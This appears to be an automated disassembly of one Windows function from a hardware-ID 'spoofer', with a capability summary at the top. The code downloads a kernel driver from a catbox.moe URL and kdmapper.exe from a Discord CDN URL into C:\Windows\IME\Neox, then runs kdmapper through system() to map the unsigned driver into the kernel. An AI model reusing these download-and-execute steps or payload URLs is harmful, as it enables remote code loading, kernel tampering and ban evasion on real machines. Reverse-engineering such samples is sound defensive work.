Function at 0x1400019a0
Capabilities:
Create directory
Download url
Execute command
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
lea rcx, [0x140003480]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [rbp - 0x28]
call fcn.140001380
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov ecx, 0x20
call fcn.140001f88
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x19
mov qword [rbp - 0x38], 0x1f
movups xmm0, xmmword [str.Getting_Neoxs_Brain_Cells]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140003748]
movsd qword [rax + 0x10], xmm0
movzx ecx, byte [0x140003750]
mov byte [rax + 0x18], cl
mov byte [rax + 0x19], bl
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 5
mov qword [rbp - 0x38], 0xf
mov eax, dword [str.Done_n]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x140003758]
mov byte [rbp - 0x4c], al
mov byte [rbp - 0x4b], bl
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov ecx, 0x20
call fcn.140001f88
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x15
mov qword [rbp - 0x38], 0x1f
movups xmm0, xmmword [str.Press_a_key_to_start_n]
movups xmmword [rax], xmm0
mov ecx, dword [0x140003770]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x140003774]
mov byte [rax + 0x14], cl
mov byte [rax + 0x15], bl
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov ecx, 0x50
call fcn.140001f88
mov rcx, rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x45
mov qword [rbp - 0x38], 0x4f
movaps xmm0, xmmword [str.Spoofing_DiskDrive_s___Volume_ID_s___NIC__SMBIOS__GPU__CPU__BaseBoard]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140003790]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400037a0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400037b0]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x1400037c0]
mov dword [rcx + 0x40], eax
movzx eax, byte [0x1400037c4]
mov byte [rcx + 0x44], al
mov byte [rcx + 0x45], bl
mov edx, 0xf
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r13, qword [rbp - 0x18]
sub rax, r13
cmp rax, 0xf
jb 0x140001f37
lea r12, [rbp - 0x28]
mov rsi, qword [rbp - 0x28]
mov r15, qword [rbp - 0x10]
cmp r15, 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea r14, [r13 + 0xf]
mov ebx, 0xf
lea rdi, [rbp - 0x50]
movabs rax, 0x8000000000000000
mov edx, 0x16
cmp r14, rbx
jbe 0x140001c48
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001c09
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140001f88
test rax, rax
je 0x140001c35
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001c44
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001c1d
xor edi, edi
jmp 0x140001c44
cmp rcx, 0x1000
jb 0x140001c3c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f3d
jmp 0x140001bee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f88
mov rdi, rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], rbx
movsd xmm0, qword [str.Old_C:_Serial:]
movsd qword [rdi], xmm0
mov ecx, dword [0x1400037d0]
mov dword [rdi + 8], ecx
movzx eax, word [0x1400037d4]
mov word [rdi + 0xc], ax
movzx eax, byte [0x1400037d6]
mov byte [rdi + 0xe], al
lea rcx, [rdi + 0xf]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov edx, 6
lea rcx, [rbp - 0x50]
call fcn.140001230
lea rcx, str.C:WindowsIMENeox
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:WindowsIMENeox_btbd.sys
lea rdx, str.https:__files.catbox.moe_8vnt1i.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:WindowsIMENeoxkdmapper.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1146534204067291257_1147632143766401125_kdmapper.exe_ex66559879is665446f9hm14b1bd8ee0d903263306f464e5de463e8d389b2fe75e57a8414d432c5b29f5b6
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsIMENeoxkdmapper.exe_C:WindowsIMENeox_btbd.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r12, [rbp - 0x28]
cmp r15, 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov ebx, 0xf
lea rdi, [rbp - 0x50]
cmp r14, rbx
jbe 0x140001db3
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140001d6e
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001f88
test rax, rax
je 0x140001da0
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001daf
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001d88
xor edi, edi
jmp 0x140001daf
cmp rcx, 0x1000
jb 0x140001da7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f43
jmp 0x140001d53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f88
mov rdi, rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], rbx
movsd xmm0, qword [str.New_C:_Serial:]
movsd qword [rdi], xmm0
mov ecx, dword [0x1400037e0]
mov dword [rdi + 8], ecx
movzx eax, word [0x1400037e4]
mov word [rdi + 0xc], ax
movzx eax, byte [0x1400037e6]
mov byte [rdi + 0xe], al
lea rcx, [rdi + 0xf]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov edx, 6
lea rcx, [rbp - 0x50]
call fcn.140001230
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor ebx, ebx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov ecx, 0x50
call fcn.140001f88
mov rcx, rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x45
mov qword [rbp - 0x38], 0x4f
movaps xmm0, xmmword [str.Spoofed_DiskDrive_s___Volume_ID_s___NIC__SMBIOS__GPU__CPU__BaseBoard_n]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140003800]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140003810]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140003820]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x140003830]
mov dword [rcx + 0x40], eax
movzx eax, byte [0x140003834]
mov byte [rcx + 0x44], al
mov byte [rcx + 0x45], bl
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.140001230
mov word [rbp - 0x42], bx
mov qword [rbp - 0x40], 0xd
mov qword [rbp - 0x38], 0xf
movsd xmm0, qword [str.Spoofer_done.]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140003840]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x140003844]
mov byte [rbp - 0x44], al
mov byte [rbp - 0x43], bl
mov edx, 0xf
lea rcx, [rbp - 0x50]
call fcn.140001230
nop
cmp r15, 0xf
jbe 0x140001f08
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001f00
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140001f80
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001f60
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001210
nop
call fcn.140001170
int3
call fcn.140001170
int3